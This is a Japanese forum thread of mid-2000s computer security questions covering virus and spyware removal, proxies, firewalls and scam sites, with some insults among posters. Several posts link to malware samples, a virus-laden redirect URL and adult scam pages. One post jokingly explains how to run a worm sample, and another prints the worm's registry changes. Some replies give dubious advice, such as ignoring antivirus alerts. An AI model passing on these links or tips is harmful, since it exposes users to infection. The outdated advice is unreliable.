解凍を始めると中には多くの4KBファイルほどのファイルが入っていて
途中で異変に気付き、解凍をやめました

この「ふえるわかめ」と呼ばれるファイルははパソコンに害はあるのでしょうか？
またこのファイルはどのように対処すればよいのでしょうか？

>>269
別に害は無い
普通はいらなかったら捨てるだろ

もうファイルは消えてしまっていますが、
http://cgi.2chan.net/up2/src/f95402.lzh

に上げられていたファイルを Noah で解凍したら、巨大なファイルを延々と複数作っていくので、
強制終了させました。これはアーカイバ（DLL？）のバグと考えた方がいいですか？

それともなんかのウイルスなんでしょうか。

>>268
ありがとうございます
とりあえずzonealarmとルーターを購入してみることにします

>>270
特に害はないのですか。
そのファイルは怖くなってゴミ箱に入れてあるんですが、
このまま普通に削除してしまえば何の問題もないということですか？

何か用心深くなってしまいまた質問してしまってすいません。

winfixerってポップアップが出てくる時点でもうやられてるんでしょうか。
それともダウンロードしなければ大丈夫なんでしょうか。
一応spybotとAd-awareでスキャンしたけどひっかかりませんでした。

すでにスパイウェアに感染した場合、ジャバとアクティブXを切ったままでも、
どんどこヤヴァイものがインストされてしまうんでしょうか。

>>244のファイルをエクスプローラ機能を使って覗こうと思ったら
「このファイルは壊れています」みたいなことが表示されました
これってexeファイル起動させてしまったのでしょうか？

よくわかりませんがTROJ_DROPPER.LKというのに感染しているようです
調べてみたらwinny関連のウイルスのようでした
自分はwinnyは使っていないので感染経路はやはり>>244からでしょうか？

>>244はW32.Pokey.Worm だったよ。

W32.Pokey.Wormは、自分自身を添付した電子メールを介して蔓延するワームです。
実行されると、ポケモンのアニメーションを表示します。
また、\Windowsおよび\Windows\Systemフォルダの内容を削除するという発病症状を持っています。
ttp://www.symantec.com/region/jp/avcenter/venc/data/w32.pokey.worm.html

バソコンの仕様用途はネットサーフィンやたまにアダルトサイトにアクセスするだけなんですが
セキュリティーを高めるため、アダルトサイトのワンクリ詐欺を回避するために、串を使いたいんですが
どの種類の串を使えばいいのかわかりません。
下の４つの種類のうちでどれを使うのがベストでしょうか？
あと、ためしに下に書いた　１．　の串を使ってみたのですが、使える時間はたったの１０分くらいで
１０分経過した後はネットに接続できない状態になってしまいます
串を切ってもとの状態にもどしても、しばらくは使えない状態です
モデムを見てみると、プロバイダーとの回線、認証が切れた状態になってました
同じことを何度かやってみましたが、同じ症状がでました
このネットに接続できなくなる症状を回避するにはどうすればいいですか？
いい方法を教えて下さい

OSはMe
セキュリティーソフトはOutpost
回線はADSLでモデムにルーター機能つき

串の種類
１．HTTPのリクエストヘッダにプロキシ特有の環境変数を付加しない匿名プロキシ
２．HTTPのリクエストヘッダにプロキシ特有の環境変数を付加する匿名プロキシ
３．HTTPのリクエストヘッダにクライアントと無関係なIPアドレスを付加する匿名プロキシ
４．HTTPのリクエストヘッダにクライアントのIPアドレスを付加するプロキシ

ブラウザはIE６です
プロバイダはOCNです

自己解決しました

してません
>>281は偽者です

>>278
報告乙。
>>279
そんな症状になったことがないな。普通は1時間以上は使えるぞ。
使えないのはエラーかも。Irvineで串刺したりするけどそんな症状は知らん。
串の種類は青か赤か緑を使えばいいじゃん。

昨日N速+で見たコレもTROJ_DROPPERの一種だった。どうせならコレが欲しいw
【ネット】"スクリーンセーバーを田中康夫知事に変更" Ｗｉｎｎｙウイルスをダウンロードするトロイの木馬
http://news19.2ch.net/test/read.cgi/newsplus/1130497991/

>>265
ウィルスセキュリティ使ってるが>>244に警告出さなかったから
やはり検出率はそれなりなのだろう。使うならそれ承知の上で。

>>284
>>244は康夫ちゃんのスクリーンセーバーが表示されたからそれそのものだな
クリックしようと追いかけると逃げ惑う
場所は、\WINDOWS\SYSTEM32\kimmo.scr
それと、起動時にピカチュウも表示される
拡張子を.exeにしてからダブルクリックすると感染出来るよ！

>>285
自分の場合はexeファイルをダブルクリックしなかったのでworm.pichachuは表示されませんでした
それと壁紙が田中康夫に変わる事もなかったですね
でもTROJ_DROPPER.LKが検出されたので、zipの時に中身をエクスプローラで覗こうとしたときに
感染したんでしょうかね

>>244の変更箇所だ
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
Common Startup := C:\Documents and Settings\ユーザー名\Application Data\Microsoft\Winny3

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
LegalNoticeCaption := これを貴方が見る頃　私はもう　この世の者ではないでしょうね
LegalNoticeText := もはや死ぬしかないようだ
だけどタダでは死にません
クズを1000匹道連れだ
喜べお前は 983 匹目

ついでに同じようなのに感染しているやつも参考にしろ！

>>287
自分の場合は

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
LegalNoticeCaption
LegalNoticeText
こんな感じになってました
上の[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
Common Startup := C:\Documents and Settings\ユーザー名\Application Data\Microsoft\Winny3

上の[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
Common Startup := C:\Documents and Settings\ユーザー名\Application Data\Microsoft\Winny3
この部分は変更されてなかったです。

>>276
だからおめえが感染しているとしたら、違うファイルが原因だっての
それには感染出来る理由がない
もう来んなよ

>>244
はZipでもExeにしてもAntiVirとアンチドートでは検出されませんでした

トロイの木馬ってFWで防げますか

>>290
誌ねノミが

>>293
お前が氏ねはげ

>>1-1000
アホ

　　　　　　　　　　　　__,.　 -─--　､_
　　　　　　　　, - ' _,´　--──‐- 　 ）
　　　　　　,ｲ´__-＿＿_,.　-‐　'__,. - '´
　　　　　　`ー----, - ' ´￣　｀`　 ､＿_
　　　　　　　　 __,ｨ　 　　　　　　　 　 ヽ. ｀ヽ.
　　　　　 ,　 '⌒Y 　/　　　　 ､ヽ　　　　ヽ　 ヽ.
　　 　 ／　　　 /　 i 　 /l/|_ハ li 　l i　　 li 　 ﾊ
.　 　 //　〃　/l　 i|j_,.//‐'/　 lTト l､l 　 j N　i |
　　　{ｲ　 l　 / l　　li //___ 　　 ﾘ_lﾉ lル'　lハ. ｿ
　　　 i|　/ﾚ/ｌ　l　　l v'´￣　　, ´￣`イ　 !| ｌl,ハ 　>>1-295->>1000♥！
　　　 ハ|　ll∧ﾊヽ　ﾄ､ ''''　ｒ==┐ '''' /l jﾊ|　ll　ll
　　 〃　　‖ ﾚ'¨´ヽiへ.　_ ､__,ﾉ　,.イ/|/ ﾉ　ll　l|
　　ｌｌ　　　 ll　{　　 ⌒ヽ_/ } ｰ‐＜.__　 ′　　l| ‖
　 ‖　 　 ‖ ヽ,　　 ／､ 〈 　 |:::::::| ｀ヽ　 　 　 ‖
　 ‖　　　　 　 {.　 ﾊ ヽ Y｀‐┴､::::v　 l　 　 　 ‖
　 ‖　　　　　　|ｉヽ{　ヽ_ゾﾉ‐一’::::ヽ. |　 　 　 ‖
　 ‖　　　　　　|i:::::｀¨´--　:::......:...:.:.::.}|　　　　 ‖
---------------------------------------------------------------------------

難しい計算だすな・・・

ａｖｉとかｍｐｇなどの動画ファイルにもウイルスがある場合があるのでしょうか？

ある。だからアンチウイルスソフトはすべての種類を調べる必要がある。
へんなエロ動画ほいほい開くなよ。

>>298
正確には
○○○.avi exe
みたいなaviやwmvを煙幕として使う騙しファイルのことね
見破るには拡張子を表示させて、ミスを防ぐためにダブルクリックでファイルを開くようにする

ルータを介してインターネットを使っています。
オンラインゲームなどで遊んでいると、ルータが突然切れて再起動します。
おかしいと思いセキュリティのログを見るとすべて消えてしまっています。
これはハッキングですか？何回もそういうことがありおかしいと思い質問しました。
ポートスキャンは1分あたり4〜5回（一時間で300回ぐらい？）のペースです。
もしかして狙われているんでしょうか？
ＮＴＴ−ＭＥ　ＭＮ８３００Ｗを使っておりパスワードも掛けています。

>>300
ダブルクリックでうっかり感染した>>254の例もあるぞ。
それを防ぐには、右クリック→「プログラムから開く」を使うか、
先にアプリを開いてそれにドラッグ＆ドロップする。
さらに右ボタンドラッグなら、ドラッグしようとして誤って２回クリックした時のリスクが減らせる。

>>301
ファームウェアのバージョンは？

Software Version: 01.11となってます。

>>302
俺は調べるのにそのzipを開いてみたけど、解凍もされないし感染もしなかった。
exeに変更して実行したら２つほどインストールされたがな。

ttp://niji-tactics.hp.infoseek.co.jp/
という掲示板にアクセスしたところ、
別窓が出るので、閉じたらhttp://www.otsos.ru/index2.htmという
アダルトサイトに飛ばされました。戻る押しても別なサイトに飛ばされます。

で、何やら立ち上がったと思ったら、
Ｃａｒｎｉｖａｌなんとかってソフトを勝手にインストールしようとしてました。
慌ててインストールは途中で止めましたが。

その後怖いのでノートン、spybotでスキャンかけてみましたが
何も検出されず。ですが、何か動作が不安定です。
何か仕込まれてたりするのでしょうか。

うわぁ誤って直リンしてしまいました。
アダルトサイトのＵＲＬなので注意してください。

>>304
なら http://www.ntt-me.co.jp/mn/mn8300w/ を見る限り最新だな。
ログの消えている原因が何ともワカンネ。(ハードウェア的要因か本当に狙われてるのか)
スマソ。

>>305
勇気を持ってダブルクリックしてみたがw 確かに俺の環境だとexeとして開かずに解凍ソフトが動作した。
(WinXP SP1)

ttp://www.tvguide.or.jp/cgi-bin/top.cgi
インターネットTVガイドにアクセスしたら、spybotが反応して
“DoubleClickのダウンロードを遮断しました”とのメッセージ
が出ました。遮断したってことは心配ないってことでいいのですか？

spybotで改めて検索かけてみたら
Sex.tracker
EffectiveBandToolberというものがでてきました・・・。

>>306
そうですか　穴だらけのままで使っていられるあなたの感性は天然記念物です
そのまま何でも食ってくれて結構ですよ

はい、そうです。
心配ならクッキーを使わなければOK

Adware-BestOffersとかいうのが入り込んでいて削除が出来ません。
コンパネから削除しても再起動すると出てきます。
ちなみにソフトはノートンです。
Spybotでは毎回検出されて削除しています。
どなたか宜しくお願いします。

>>313
http://www.mcafee.com/japan/security/virA.asp?v=Adware-BestOffers を見ると
レジストリ
「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run」の
下にある「tbon」というキーを選択して削除。これで再起動時の起動を防げる。
あと c:\program files\tbonbin\tbon.exe を削除するとスキャン時に検出されなくなる。
(他にも対策必要かもしれんが)

>>313
すいません。初心者なんですが「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run」
はどうやって検出するんでしょうか？検索ではエラーになります。

>>313
セーフモードでspybotをやってみる。

>>315
ファイル名を指定して実行を選択し「regedit」と入れる。ただし、バックアップは取っておいた方がいい。

セーフモードは、起動時にCtrlキーを押したり、セーフモードでgoogle検索すると、シマンテックのHPで分かる。
msconfigなんだけど。

追記
今98使っているので、Ctrlキーと書いたが、2000,XpはF8。ここを読んで
ttp://www.higaitaisaku.com/safemode.html

>>315
msconfigが起動できるならその方が安全かな？
スタート→ファイル名を指定して実行→「msconfig」と入力
右端の「スタートアップ」タブをクリックすれば「tbon」というのがあると思う。
このチェックを外せば起動しなくなるが、レジストリエディタの「削除」とは違って
データそのものは残る。

ま、いっぺんそういうのにひっかかったら「レジストリエディタ 使い方」でぐぐって
使い方覚えといた方がいいかも。

ありがとうございます。今セーフモードで削除してみました。
チエックしてみます。

ちょっと苦戦中。。。
プログラムの追加と削除に残ったThe Best Offersファイルが削除出来ないです。
ホームページのアンインストールボタン押したら作業は終了するけど再起動で
また立ち上がってきます。

ウイルススキャンでウイルスが発見された場合、それをアンチウイルスソフトで削除すれば
大丈夫なのでしょうか？
それとも、シマンテックやトレンドマイクロのサイトに載っている、ウイルスが改ざんしたレジストリ
の修復方法も行うべきなのでしょうか？

>>321
窓の手で削除する。
>>322
改ざんされたレジストリは修復されていると思う。

思う、と書いたのは、無理な場合があるから

おかしいです。セーフモードで削除したのに再起動したらまた出てきました。

>>322
起動時にエラーを吐いたりしなければ、ただのゴミになっているから、
初心者は気にしないほうが吉

>>325
Adware-BestOffersが何か、悪さしてますか？
プログラムの追加と削除に残っているだけなら、窓の手で削除できる。
そうでないなら>>314さんの方法を取るか、マカフィーの試用品を使う。

…修復と駆除は違うよね？？　同じかな？

>>327
ありがとうございます。
時々best offersのポップアップが立ち上がったりタスクバーに常駐します。
これってどうみてもスパイウエアだと思うのですが。。。
ちなみに>>314さんの方法を試しましたが「tbon」がないんです。

窓の手がわからなくて。今ネットで調べてます。

窓の手で削除できました！
が！タスクバーにThe Bset Offersが。。。

>>329
タスクバーって、右下のアイコンのことかな。
「msconfig」のスタートアップで、それらしいもののチェックを入れて、起動できなくするか
ttp://cowscorpion.com/Software/Cleaner.html
のEasyCleanerでスタートアップを削除するか、そのあと、CCleanerとかで綺麗にレジストリいじりたいんだけど。

あーいうのって、何やってるか分からないから嫌い。
時間かかっても自分で regedit で消す方が好き。

>>306
※このアドレスは危険URLのひとつです。
注意！アラートオープンを発見！ (2)
注意！ループタグを発見！ (5)
注意！逃げウィンドウを発見！ (3)
ブラクラチェックが終了しました。

ｴﾛｻｲﾄを見てからネットが全く繋げなくなったのですが、ｽﾊﾟｲｳｪｱにやられたって事ですか？超初心者ですいません。

うう。行き詰ってしまいました。

（ZONEALARM使ってるんですが）、ログにﾀﾞｲｱﾙｱｯﾌﾟ回線を切って、IPｱﾄﾞﾚｽを
変えているにもかかわらず、毎回、自分のパソコンにアクセス（侵入）して
くる人？がいるんですが、（発信元DNSｱﾄﾞﾚｽがｚａｑｄ...でいつも同じ数字）
これはどういうことでしょうか？ｽﾊﾟｲｳｪｱでもしこまれているのでしょうか？
spybotは入れてますが異常はないみたいですし、、、。
よろしくお願いします。

>>329
収拾つかなくなってきてるなw
スパイボット削除ソフトで消せれば一番いいんだが。
明日になっても消せてないなら使ってるパソコンのサポートにTELして、
msconfigのスタートアップに「最初から」登録されている項目と照合させるのがいいかもね。
(最初から登録されているもの以外のチェックを外す)

>>322
各社サイトの削除法は手動で削除する人のためのもの。
(新種が出て各社未対応の時にひっかかると役立つ)
殆どの場合対策ソフトで「削除」などがなされてればそれで問題なし。

>>333
>>1読んでくれ。PC初心者板に「エロサイト見たら…助けてください！」
というスレがあるはず。

つうかもっと細かく書け。OSとか症状、エラーメッセージ、
ルーターや(無線LANなら)アクセスポイントの設定画面にアクセスするとどうなるか。
「インターネットプロトコル(TCP/IP)」のプロパティ出して
DHCP、DNSの設定がプロバイダの出したものから変更されてないか。

>>336
ありがとうございます。
ちなみに説明不足でした。タスクバーはアイコン部分ではないです。
ポップアップウインドウが出るのですが画面は真っ白で小さいんですｗ
（気がつかないくらい）
はあ。でも色々勉強になりました。みなさんありがとうございました！

すみません、どなたか助けてください。
シマンテックのセキュリティ警告というダイヤログが数秒おきに
画面に出てきます。
2年前にノーﾄンインターネットセキュリティを買ってそれきり
更新してない状態です。（それで今現在まで支障ないので）
で、「セキュリティ状態の警告が重複しないようにｗｉｎｄｏｗｓセキュリティセンターの
警告をオフにしてノーﾄﾝ製品の警告を使う（推奨）」と書かれていて
隣にチェックボックスがあるのでチェックしてｏｋにしても、また延々と同じものが
出てきます。
逆にチェックボックスにチェックせずｏｋにしても同じです。

どう対応したらよいですか？
製品買えという脅迫にすら感じ取りますｏｒｚ

アドウェアのGAINっていうのがあるみたいでSPYBOTで1つは消えたんですがもう一つ残ってるみたいです
初心者とかは削除むずかしいですか？
やっぱり業者に頼んだ方がいいですか？

>>337 とりあえずwindows updateいきます

avast!入れてたら、オンラインスキャンできないの？
つか、トレンドマイクロのオンラインスキャンができなかったんだけど。
なんかヤヴァかった？

Ｗｉｎ９８とＭＥではどちらがセキュリティー高いですか
古いノートＰＣ・・・小学生の餓鬼用にネット専用に使わせてあげたい。
ウイルスソフトは軽いのがいいのですが・・・

PCｽﾍﾟｯｸ　　CPUは333MHz 128MB

>>340
業者ってどこよw
まずPC詳しい友人探せ。
各種掲示板で評価を見て最良の対策ソフト探せ。
それで消せないのはここで相談。無理でもWindows再インストさえ面倒くさがらなきゃ問題ない。

>>339>>342
ノートンとavast!(Part26の方)スレ池
>>339はアンインストして無料のか他社乗り換え版にでもしてみたら？

>>343
セキュリティー以前に動作不安定。ネットには使えない。(画像表示しないならともかく)
せめてWin2000使わせてあげたいw
ウィルス対策ソフトは予算書け。例えばNOD32で4,200円。

>>311
orz再インストしたばかりだったので、そのまま使っておりました。
再びインストールし直して、クッキーを食さない設定しました。。
>>332
コロコロ　　o 。。⌒TZ

>>344
くわしい人が回りにいないんですよ
スパイボットで検出されなくなったんです
スパイボットにあるバックアップで残してるスパイウェアにソフトが反応してるんですかね
やっぱりソフト買わないとだめですよね；；；

win2000 SP1のＯＳもらいますた。
セキュリティーはどうなんですか？

お世話になります。
どなたか質問に答えていただきたいのですが・・・
ゾンビＰＣとか、踏み台って最近聞くのですが、
そういったものに感染した場合でも、ウィルス駆除すれば大丈夫なんでしょうか。
初心者ですみません。

>>346
買ってね♪

>>348
ゾンビ化・踏み台化までされたPCに、後からウイルス駆除作業やっても
元に戻すのは難しい。
OSから再インストールするべき。

OSはWinXPを使用しています
以前アップデートで日本語化してスキャンの種類が増えた頃から
レジストリスキャン以外が途中で停止してしまいます
タスクマネージャーで見るとＣＰＵ１００％のままで
OS再起動するまでewidoが終了できなくなります
スキャンをかけるたびに[464]VM_7FFE0000　
などのメッセージが出て進みません

ewido使用で上記の方と同じ症状です

１００％トロイと言われました

>>349
回答ありがとうございます。
そうですか・・。
実は、ゾンビ（ｒｙの疑いがあるＵＲＬをうかつにも踏んでしまいまして、
そのときは警告も何も出なかったんですが、
あとでそのスレの人が、今すぐに電源切って、
ウィルス駆除ソフト買いに池、と騒いでいたので、
とても不安になりました。
あわててＡＶＧの安置ウィルスソフトをインストールして、5個の感染ファイルを処分したんですが・・・。
じゃあ一度完全にフォーマットしなきゃ駄目ってことですよね・・？
教えてちゃんですみませんorz

>>347
後は君次第
とりあえずはSP4に上げることを考えよう（オフラインで出来るようにするとなお良し）

パソコン起動のたびにｓexygilrsっていうアイコンができて、お気に入りの追加される
っていうのはウイルスでしょうか？ご存知の方おられたらお願いします

>>353
取りあえず
↓のテンプレの手順でウイルス検査とスパイウェアの駆除作業して
　治らなければ、またココ来て下さい。
http://pc7.2ch.net/test/read.cgi/pcqa/1130405828/

>>346
>スパイボットにあるバックアップで残してるスパイウェアにソフトが反応してるんですかね
これはログを見てわからないの？
買ってとりあえず安心できるなら今日にでも買った方がいいし、金出したくないなら無料版使い続ければいい。

>>350
XPの種類とサービスパック書け。(HomeかProか、SP1か1aか2か)
「アップデータで日本語化」って何の話？ewidoのこと？上記ってどの上記やねん。
１００％トロイって誰の言葉？ewidoが喋れないなら近くの友達の言葉か？
タスクマネージャーで該当プロセス右クリックして「優先度の設定」が出る。
それで低いのにすればCPU100%になるのは防げるかも。もちろん100%になる前にやるように。

>>353
詳しい除去のしかたは知らないが「起動の時に･･･」というのはスタートアップの仕業。
スタート→プログラム→スタートアップの中か、(大抵は)上にいくつかレスのついている
msconfigの「スタートアップ」をチェックする必要がある。
msconfigのスタートアップの項目はWindowsインストールした後メモっといて、定期的に
チェックした方がいい。(ちゃんとしたインストールで追加されたものか、そうでないのか。)

　　　∧∧
　　（　 ･ω･）
　 ＿|　⊃／(＿＿_
／　└-(＿＿＿_／
￣￣￣￣￣￣￣

　 ＜⌒／ヽ-、_＿_
／＜_/＿＿＿＿／

>>344
どうもありがとうございます。
助かりました。そりゃ更新滞ってるのより無料の最新版の方が
いいですよね。なんで気づかなかったんだろ。

　 ＜⌒／ヽ-、_＿_
／＜_/＿＿＿＿／

質問させて下さい。
OSはWinXPのSP2で、ウイルス対策にノートンを使用していましたが、
昨日の明け方ごろ突然HDDアクセスが激しくなり、気がつくと
D, E, Fドライブ内のファイルサイズがすべて9バイトにされていました。
ノートンは常に最新の定義に更新し常駐させていましたが、反応等は
ありませんでした。その後FinalDataを使用して該当ファイルの復元を
試みたところ、なぜか一部を除き殆ど全てのファイルが上記のサイズに
書き換えられて復元不可能な状態になっています。

検索エンジンで類似症状を検索してみましたが、何も分かりませんでした。
同様の症状のウイルスって存在するのでしょうか？
また、DドライブとFドライブには重要な仕事関係のデータが入っている
のですが、サイズが変更されたファイルの復元方法はあるのでしょうか？
よろしくお願いします。

スケベなサイトでオナニーとかしてた？

質問させて下さい｡
Firewallについて､現在outpostを使っていますが
PCのｽﾍﾟｯｸが低いせいか動作が重い気がします｡

どなたか動作の軽いFWｿﾌﾄをｵｽｽﾒしてくれませんか?

>>>359
>サイズが変更されたファイルの復元方法はあるのでしょうか？

ぶった切り上書きされているはずなので修復不可能
最新にしとくのはノートンじゃなくてWindowsUpdateの方だろう

>>359
それよりウィルスが侵入した経路のほうが気になるんだが
なにも心当たり無いのか?

補足します。

10月29日の4〜5時頃、MS Excelを起動していましたが、しばらくして
Dドライブ内にインストールしていた常駐アプリがプログラムエラーで
強制終了しました。その後常駐アプリを再起動しましたが、異変に
気付いたときには既に手遅れでした。

ファイルの先頭部分の読み込みは可能ですが、やはり全部9バイトで
ファイル全体の読み込みは不可能な状態なんです。

怪しげなサイトへ行ったりしてなかった？

>>364
で　nyやっててクビなんだろう？
該当セクタに上書きされているファイルはソフトなんかで完全復元出来ないからね

すみません
http://www.google.co.jp/search?hl=ja&q=chinese%2F5a.htm&btnI=I%27m+Feeling+Lucky&lr=
ていうの踏んだのですが、ウィルスらしいです。
セキュリティソフトなんもいれてないしお金もないです。。
ちょっとﾊﾟﾆｸってます。。どうしたらいいか教えていただけないでしょうか。。。

>>367
セキュリティソフトを導入していないくらいなんだから、WindowsUpdateは最新の状態にしてあるんだろう？
それなら、ソフトがウィルスだと騒いだって関係ないから無視して結構。
ソフトは、過去の脆弱性の経緯でウィルスであったとされていた時期のファイルにも全て反応してしまう。
バカな仕様のまま現在まで至っているから、騙されないのが肝心ですよ。

自分のＨＰのＢＢＳが何者かによって荒らされてしまってるんですけど、どうやって対処すればいいのでしょうか？
最初は、荒らしと思われる人物はある特定の一つのプロバイダーからアクセスして書き込みをしていたのですが
最近では台湾やマレーシアなど、海外からの書き込みの荒らしが頻繁に発生しています。
荒らしの内容などがほとんど同じ点から、たぶん荒らしが串を使ってるのだと思うのですが
もうどうしたらいいのかわかりません。
助けて下さい

>>368
お答えありがとうございます。

最新だとｳｨﾙｽは問題ないのでしょうか？
わたしのも更新はしてくれてると思うけど･･･
さっきのはｳｨﾙｽではなくて、問題ないという事でしょうか

自分のPCの更新状況も解らんのか、おまいは！

>>370
金がないのなら体か頭を使わないと世の中の負け犬。
勝手にせい！

ほんとにわかんないし詳しくないんです･･(´；ω；`)
トレンドマイクロのオンラインスキャンしてみたけどウィルスいっこありました。
どうすればいいですか？

>>369
荒らしと思われる人物のある特定の一つのプロバイダーに文句をいい、その証拠となる
Logファイルを提出すればいいじゃん（２ちゃんねるみたいに）

>>370
体を使う・・・・感染したと思ったらリカバリーする事
頭を使う・・・・ウィンドウズのOSの仕組みを勉強して、過去の脆弱性を利用した感染ロジックを熟知する事

>>369
プロキシ経由による書き込みを禁止する
そいつと同じプロバイダーからの書き込みを監視して、そいつの書き込みを直ぐに禁止にする

>>372>>375
すみませんでした・・

ネトゲ立ち上げてる時はウィルスソフトを立ち上げると
CPUが熱暴走して電源が落ちるって言われたのですが、本当ですか？

FWを解除した状態でネトゲやるのは、不安でしょうがないのですが。
ルータが壊れたので、直繋ぎですし・・。

>>378
何でファイアーウォールを無効になんてしてしまう必要があるんでしょうか？
そのゲームが外部からのアクセスで使うポートをファイアーウォールで開いてやればいいだけなんじゃないのかよ

>>373
自分も、そのＵＲＬ踏んでしまった・・。
しかも、環境もまったくあなたと一緒。
あわててオンラインウィルススキャンしたら、感染してた。

>>367
30日の試用品使う。

注意！ループタグを発見！ (1)
危険！JS_PSYME.Vを発見！ (1)
ブラクラチェックが終了しました。
※ ジャンプタグを発見しました。(1)
※ windowオープンを発見しました。(4)

>>381
>>367ではないですが、
ＡＶＧのフリーソフト導入してみました。
なんか、そのスレのほかの人が、
ゾンビとか、踏み台だとか言ってたんですけど、そういったウィルスの種類なんでしょうか？

>>380
ウィルスは、保菌状態と感染状態に分けられる。
いわゆる、Temporary Internet Filesにダウンロードされたウィルス反応があるファイルが存在するだけのが保菌状態。
削除しなくても別に構わない。

次に、winの脆弱性を埋めないままに使っているバカだから、自動実行されてシステムにウィルスが組み込まれてしまっているのが、感染状態。
これは、発病しているので駆除作業が必要だ。

どちらに該当するのかが見極められないと、ウィルスにバカにされる。

>>355さん
XPはHomeだと思います、SP2です
上記って他のスレで同じ症状の方のレスをコピペしてました
言葉足らずでごめんなさい
１００％トロイとはその方についていたレスです

うちでは[464]VM_7FFE0000で必ずスキャンが停止してしまい
その瞬間からCPU１００％になり、ewidoを閉じても１００％の状態です。
どうにかリカバリ以外で処置できないかと、ご相談に伺いました
どうぞよろしくお願いします

>>382
ゾンビとはウイルスに感染したり、
不正侵入者に遠隔操作ソフト(バックドア)を仕掛けられたりしたまま、
ユーザがそのことに気付かずに放置されているパソコン。

そんなゾンビPCは、ウイルスを他のコンピュータに感染させたり、
メールサーバを仕掛けられて迷惑メールの発信元にされたり、
他のコンピュータやネットワークへの不正侵入のための踏み台にされたりする。

ウィルスの種類ではなく、パソコンの環境・状態のこと

>>383
ありがとうございます。
何もウィルス対策してなかったので（馬鹿だ・・arz）、
多分後者だと。
駆除してもういっかいやってみたら、「ウィルスはみつかりません」とでました。
ゾンビＰＣになるｔか言ってた人がいたので、物凄く怖かったですorzorz

>>385
回答ありがとうございます。
バックドアをしかけらてしまったら、
ウィルススキャンやってもわからないんでしょうか？
自分のＰＣがそういう状態になっていることを知るには、一体どうしたら・・・。
本当にすみません。

>>387
バックドアとは、悪意のある者がインターネット上からそのパソコンをリモート操作出来る穴が開いている事を言う。
つまり、ファイアーウォールソフトが適切に機能していて、ポートスキャンしてもオープンポートがなければ特別に過敏になる必要はない。
しかし、トロイプロセスが起動しているのなら、パソコン内部の情報が外部に垂れ流されている可能性が十分にある。

対策ソフトが何でも100％検出なんてするわけがない。
結局は、感染している可能性がないと判断できるには、それ相応の熟練したOSの知識が必要だ。

>>384
http://pc8.2ch.net/test/read.cgi/sec/1098285373/819
以降はewidoスレで。

すみません、アンインストールしようとしたら
出来ませんでした。（ちなみに期限切れのアンチウイルスの方の
警告が異常なくらいしつこく出てくるんですが、それのアンインストが出来なかった）
どういうこと？もうストレスで気が狂いそうです。
ノーﾄﾝスレに行ってきます。

Winxp pen4m 2.4ghz 256mb
今までノートンを使っていましたが、スペック上きついことがあり、期限が切れるついでにフリーのアンチウイルスソフトを使ってみることにしました。
AvestとAVGの間で迷っています。Avestは多少重いとのことですが、ノートンアンチウイルスと比べたらどのようなものでしょうか？
また、AVGとAvestの常駐機能の違いを教えてください。

>>388
ご丁寧に回答くださってありがとうございます。
今までファイアーウォールも何もソフトをいれずに使っていた自分がオオバカでした。
さっき、ノートンを買って来ました。
後でポートスキャンしてみようと思います。

>>391
参考になるか、よくわからんけど
ttp://ratan.dyndns.info/avast4/virusest.html

ポートスキャンするのか！Σ（￣□￣；

>>365
ブラウザにFirefoxを使用しています。Windowsアップデートは
自動更新を有効にし、私自身セキュリティには気を付けていた
つもりですから、たぶん脆弱性等はないと思います。

また、私はP2P類を使用したことはないんです。

>>366
自業自得なのは承知していますが、
やっぱり、復元は無理なんですかね？

質問です。IP開放するとウイルスが入ったりマズーなことってありますか？

Windowsは完璧ではないので、マズーなことはあります。

>>396
自鯖建てるなら必要なポート以外は開けないように
あと、ルーターは必須
ネトゲやるときも同じ

>>398
自鯖はたてません。それでもルーター必須ですかね？

IPアドレス曝すと侵入しようとする馬鹿が来る
PFWで処理しきれればいいけどDDoSに近くなると無理だろ
ルーター入れるのが吉

ついでに言うと、某OC○と中韓台はブロックしとけ

>>400
そうします。�d。

396です、ルーター入れたらIP開放→書き換えが出来なくなってしまったんですが＿|￣|○

さっき　変なところに入ってしまいました。（エロです）

入ると私のIPアドレスが出てきて金払え見たいな事書いてあるのですが、、、、

大丈夫ですよね？？？

宜しくお願いします、心配です。



ttp://e-pretty.cc/top.html

>>404
うん。大丈夫。ヤクザ的な脅しだから。放って置けばいい

っていうか、「ザーメン運動会」なんですけど？

マザーボードについていたnorton internet securityが英語のままインストールされてしまったのですが
どうすれば日本語化することができるか教えていただけませんか？

先日ウイルスセキュリティをインストールして再起動したところ、ログイン後（何も操作できないまま）すぐにログオフするという症状が起こり、ｐｃが使えなくなりました。
回復コンソールを使ってみても、なおりません。
中のデータを消さずに再インストールすることは可能でしょうか？

GOOGLEなどでイロイロ調べてみましたが、解決しませんでした。

無理

最近やたらと「MS02-039_SQL_SERVER_RESOLUTION_EXPLOIT」
の攻撃を防いだとの報告がウィルスバスターから出てきます。
いったいSQLサーバーとはなんですか？

>>408
ウイルスセキュリティアンインスコ→再インスコ
推奨：データ退避→クリーンインスコ

>>410
データベースソフト。
今年５月？のカカクコム事件でもWindowsサーバーへのデータベース攻撃があった。
SQLサーバー2000を動かしてない人には関係ないんじゃないのかな？

MS02-039の内容
http://support.microsoft.com/default.aspx?scid=kb;ja;323875

ウィルスバスターが毎回反応するのでウザいです。
解決方ってありますか？

マルチかよ

>>230のものです 再ｾｯﾄｱｯﾌﾟしてしばらく調子よかったのですが
また同じ症状になりました｡
今はﾏｶﾌｨｰではなくﾉｰﾄﾝｲﾝﾀｰﾈｯﾄセキュリティー2006を
使ってますがまったく反応なしです
ﾈﾄｹﾞ中に症状でてそれっきり直る気配ありません｡

>>415
どうせnyやっててバグザロックあたりにでも感染したんだろ

WinXPsp2、マカフィーなのですが
タスクバーに空ウィンドウが立ち上がってはすぐに消えて、
時々点滅しているのがすごく気になります。
Ad-awareでスパイウェアを検索して削除したのですが直りません。
あと、症状が出たのは昨日あたりからだったと思われるのに
システム復元を三日前までしても直らないです。
何かのウィルスでしょうか…。

>>417
ProcessExplorerとTaskLoggerで調べられるかも

